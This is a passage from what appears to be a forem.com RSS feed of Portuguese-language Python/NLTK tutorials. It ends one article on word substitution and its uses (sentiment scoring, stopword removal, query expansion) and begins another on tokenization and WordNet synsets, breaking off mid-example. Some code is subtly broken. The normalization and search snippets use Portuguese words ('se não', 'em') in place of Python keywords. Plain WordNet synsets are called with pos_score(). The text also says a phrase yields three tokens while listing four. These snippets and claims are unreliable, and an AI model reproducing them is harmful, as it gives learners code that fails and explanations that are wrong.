&lt;p&gt;Vamos ver algumas aplicações práticas dessas técnicas.&lt;/p&gt;

&lt;h5&gt;
  
  
  Análise de Sentimentos
&lt;/h5&gt;

&lt;p&gt;A análise de sentimentos envolve determinar a polaridade (positiva, negativa ou neutra) de um texto. Substituição de palavras pode melhorar essa análise.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Eu adorei o filme, mas a comida estava ruim.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;word_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;polaridade&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;palavra&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palavras&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sinsets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;por&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sinsets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sinsets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;polaridade&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pos_score&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;neg_score&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Polaridade do texto:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;polaridade&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: Polaridade do texto: 0.25 (por exemplo)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Normalização de Texto
&lt;/h5&gt;

&lt;p&gt;A normalização de texto envolve transformar o texto em uma forma consistente. Isso pode incluir a correção ortográfica, remoção de stopwords, e substituição de sinônimos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;stopwords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stopwords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;words&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A análise de textos é uma área fascinante do PLN.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;word_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;palavras_filtradas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="n"&gt;se&lt;/span&gt; &lt;span class="n"&gt;não&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;stopwords&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;texto_normalizado&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavras_filtradas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto_normalizado&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: "análise textos área fascinante PLN"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Melhoria da Busca em Textos
&lt;/h5&gt;

&lt;p&gt;Em motores de busca, a substituição de sinônimos pode melhorar os resultados da busca, encontrando documentos que usam sinônimos das palavras-chave buscadas.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;consulta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bom filme&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;consulta_expandidas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;palavra&lt;/span&gt; &lt;span class="n"&gt;em&lt;/span&gt; &lt;span class="n"&gt;consulta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;sinonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;substituir_sinonimos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;consulta_expandidas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Consulta expandida:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;consulta_expandidas&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Saída: "bom legal ótimo excelente filme"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Conclusão
&lt;/h3&gt;

&lt;p&gt;Neste texto, exploramos várias técnicas de substituição e correção de palavras usando a biblioteca NLTK em Python. Vimos como fazer stemming, lematização, usar expressões regulares para substituir palavras, correção ortográfica com Enchant, e substituição de sinônimos e antônimos com o WordNet. Também discutimos aplicações práticas dessas técnicas em análise de sentimentos, normalização de texto e motores de busca.&lt;/p&gt;

&lt;p&gt;O uso dessas técnicas pode melhorar significativamente a qualidade da análise de texto, tornando os resultados mais precisos e relevantes. O NLTK oferece uma gama poderosa de ferramentas para quem trabalha com processamento de linguagem natural, e entender como utilizar essas ferramentas é essencial para qualquer projeto de PLN.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>python</category>
      <category>nltk</category>
      <category>nlp</category>
    </item>
    <item>
      <title>Introdução à Tokenização e Básicos do WordNet com Python e NLTK</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Wed, 31 Jul 2024 15:21:09 +0000</pubDate>
      <link>https://forem.com/moprius/introducao-a-tokenizacao-e-basicos-do-wordnet-com-python-e-nltk-2ip5</link>
      <guid>https://forem.com/moprius/introducao-a-tokenizacao-e-basicos-do-wordnet-com-python-e-nltk-2ip5</guid>
      <description>&lt;p&gt;O processamento de linguagem natural (PLN) é um campo fascinante que combina linguística e computação para entender, interpretar e manipular a linguagem humana. Uma das ferramentas mais poderosas para isso é a Natural Language Toolkit (NLTK) em Python. Neste texto, vamos explorar os conceitos de tokenização e o uso do WordNet, uma base lexical para a língua inglesa, que é amplamente utilizada em PLN. &lt;/p&gt;

&lt;h4&gt;
  
  
  O que é Tokenização?
&lt;/h4&gt;

&lt;p&gt;Tokenização é o processo de dividir um texto em unidades menores, chamadas tokens. Esses tokens podem ser palavras, frases ou até mesmo caracteres individuais. A tokenização é um passo crucial no processamento de textos porque permite que os algoritmos compreendam e analisem o texto de forma mais eficaz.&lt;/p&gt;

&lt;p&gt;Por exemplo, considere a frase "Olá, mundo!". A tokenização dessa frase pode resultar em três tokens: ["Olá", ",", "mundo", "!"]. Essa divisão permite que cada parte do texto seja analisada individualmente, facilitando tarefas como análise de sentimentos, tradução automática e reconhecimento de entidades nomeadas.&lt;/p&gt;

&lt;p&gt;No NLTK, a tokenização pode ser feita de várias maneiras. Vamos ver alguns exemplos práticos.&lt;/p&gt;

&lt;h4&gt;
  
  
  Tokenizando Textos em Sentenças
&lt;/h4&gt;

&lt;p&gt;Dividir um texto em sentenças é o primeiro passo em muitas tarefas de PLN. O NLTK facilita isso com a função &lt;code&gt;sent_tokenize&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.tokenize&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sent_tokenize&lt;/span&gt;

&lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Olá mundo! Bem-vindo ao tutorial de NLTK. Vamos aprender a tokenizar textos.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;sentencas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sent_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sentencas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;['Olá mundo!', 'Bem-vindo ao tutorial de NLTK.', 'Vamos aprender a tokenizar textos.']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui, o texto foi dividido em três sentenças. Isso é útil para análises mais detalhadas, onde cada sentença pode ser processada individualmente.&lt;/p&gt;

&lt;h4&gt;
  
  
  Tokenizando Sentenças em Palavras
&lt;/h4&gt;

&lt;p&gt;Depois de dividir o texto em sentenças, o próximo passo geralmente é dividir essas sentenças em palavras. A função &lt;code&gt;word_tokenize&lt;/code&gt; do NLTK é usada para isso.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.tokenize&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;word_tokenize&lt;/span&gt;

&lt;span class="n"&gt;frase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Olá mundo!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;word_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavras&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;['Olá', 'mundo', '!']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora, temos cada palavra e símbolo de pontuação como tokens separados. Isso é essencial para tarefas como análise de frequência de palavras, onde precisamos contar quantas vezes cada palavra aparece em um texto.&lt;/p&gt;

&lt;h4&gt;
  
  
  Usando Expressões Regulares para Tokenização
&lt;/h4&gt;

&lt;p&gt;Em alguns casos, você pode querer uma tokenização mais personalizada. As expressões regulares (regex) são uma ferramenta poderosa para isso. O NLTK fornece a classe &lt;code&gt;RegexpTokenizer&lt;/code&gt; para criar tokenizadores personalizados.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.tokenize&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;RegexpTokenizer&lt;/span&gt;

&lt;span class="n"&gt;tokenizer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RegexpTokenizer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\w+&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Vamos aprender NLTK.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;['Vamos', 'aprender', 'NLTK']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui, usamos uma expressão regular que seleciona apenas palavras compostas por caracteres alfanuméricos, ignorando a pontuação.&lt;/p&gt;

&lt;h4&gt;
  
  
  Introdução ao WordNet
&lt;/h4&gt;

&lt;p&gt;O WordNet é uma base de dados lexical que agrupa palavras em conjuntos de sinônimos chamados synsets, fornece definições curtas e gerais, e registra várias relações semânticas entre essas palavras. No NLTK, o WordNet é utilizado para encontrar sinônimos, antônimos, hipônimos e hiperônimos, entre outras relações.&lt;/p&gt;

&lt;p&gt;Para usar o WordNet, precisamos importar o módulo &lt;code&gt;wordnet&lt;/code&gt; do NLTK.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.corpus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Buscando Synsets
&lt;/h4&gt;

&lt;p&gt;Um synset, ou conjunto de sinônimos, é um grupo de palavras que compartilham o mesmo significado. Para buscar os synsets de uma palavra, usamos a função &lt;code&gt;synsets&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dog&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será uma lista de synsets que representam diferentes sentidos da palavra "dog".&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dog.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;frump.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dog.n.03&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cad.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;frank.n.02&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pawl.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nc"&gt;Synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;andiron.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cada synset é identificado por um nome que inclui a palavra, a parte do discurso (n para substantivo, v para verbo, etc.), e um número que distingue diferentes sentidos.&lt;/p&gt;

&lt;h4&gt;
  
  
  Definições e Exemplos
&lt;/h4&gt;

&lt;p&gt;Podemos obter a definição e exemplos de uso de um synset específico.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sinonimo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dog.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;definition&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;examples&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a domesticated carnivorous mammal (Canis familiaris) that typically has a long snout, an acute sense of smell, non-retractile claws, and a barking, howling, or whining voice
['the dog barked all night']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Isso nos dá uma compreensão clara do significado e do uso de "dog" neste contexto.&lt;/p&gt;

&lt;h4&gt;
  
  
  Buscando Sinônimos e Antônimos
&lt;/h4&gt;

&lt;p&gt;Para encontrar sinônimos e antônimos de uma palavra, podemos explorar os lemmas dos synsets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;antonimos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lemma&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lemmas&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;antonyms&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;antonimos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lemma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;antonyms&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sinonimos&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;antonimos&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será uma lista de sinônimos e antônimos para a palavra "good".&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
